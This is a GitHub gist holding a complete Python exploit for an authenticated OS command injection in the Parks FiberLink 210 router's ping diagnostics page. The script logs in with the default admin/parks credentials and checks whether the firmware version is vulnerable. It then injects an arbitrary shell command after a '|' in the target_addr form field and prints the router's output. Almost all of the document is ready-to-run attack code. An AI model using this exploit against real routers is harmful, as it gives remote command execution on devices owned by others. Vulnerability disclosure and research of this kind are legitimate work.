Skip to content

Instantly share code, notes, and snippets.

@gbrls
Created May 11, 2023 17:53
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save gbrls/58a5032bc58510abb908386124d1b4d2 to your computer and use it in GitHub Desktop.
Save gbrls/58a5032bc58510abb908386124d1b4d2 to your computer and use it in GitHub Desktop.
fiberlink210 OS command injection
# Vulnerability discovered and Exploit written
# by Gabriel Schneider (@gbrls) - in Recife, 2023
#
# There's a Command Injection Vulnerability in the
# Diagnostics -> Ping functionality in the Admin panel.
# To inject commands you just need to insert a | after
# the target for the ping.
import requests
import urllib.parse
import logging as log
import argparse
def parse_arguments():
parser = argparse.ArgumentParser(
description='Authenticated Command Injection for Parks FiberLink 210')
parser.add_argument("url", help="URL to process")
parser.add_argument("--user", default="admin",
help="Username (default: admin)")
parser.add_argument("--password", default="parks",
help="Password (default: parks)")
parser.add_argument("--cmd", default="ls -la /",
help="Command (default: 'ls -la /')")
return parser.parse_args()
def create_data_string(target_addr, cmd, waninf):
template = "target_addr={target_addr}&waninf={waninf}"
encoded_target_addr = urllib.parse.quote(target_addr + '|' + cmd)
encoded_waninf = urllib.parse.quote(waninf)
return template.format(target_addr=encoded_target_addr,
waninf=encoded_waninf)
def check(url):
response = requests.get(
f'{url}/status_device_basic_info.asp', verify=False)
# The vulnerability was confirmed for the V2.1.14_X000 version
return not ('V2.1.15_X000' in response.text)
def trigger(url, interface, cmd):
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
data = create_data_string('localhost', cmd, interface)
response = requests.post(
f'{url}/boaform/admin/formPing',
headers=headers, data=data, verify=False)
log.info('Command sent')
return get_text(response.text, 'pre')
def get_text(html_content, tag):
start_tag = f'<{tag}'
end_tag = f'</{tag}>'
start_index = html_content.find(start_tag)
if start_index == -1:
return None
start_index = html_content.find(">", start_index) + 1
end_index = html_content.find(end_tag, start_index)
if end_index == -1:
return None
return html_content[start_index:end_index].strip()
def get_interface(url):
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
data = '\r\n'
response = requests.get(f'{url}/diag_ping_admin.asp',
headers=headers, data=data, verify=False)
return get_text(response.text, 'option')
def login(url, username, password):
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
data = {
'username': username,
'psd': password,
}
response = requests.post(
f'{url}/boaform/admin/formLogin',
headers=headers, data=data, verify=False)
return not ("bad password" in response.text.lower()
or response.status_code == 403)
def main():
args = parse_arguments()
log.basicConfig(
level=log.INFO, format='[%(levelname)s] %(message)s')
if not login(args.url, args.user, args.password):
log.warning('Wrong credentials!')
return
if not check(args.url):
log.warning('Version is not vulnerable!')
return
log.info('Authenticated')
interface = get_interface(args.url)
if interface is None:
log.warning('No valid interfaces!')
return
log.info(f'Using {interface} interface')
print(trigger(args.url, interface, args.cmd))
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment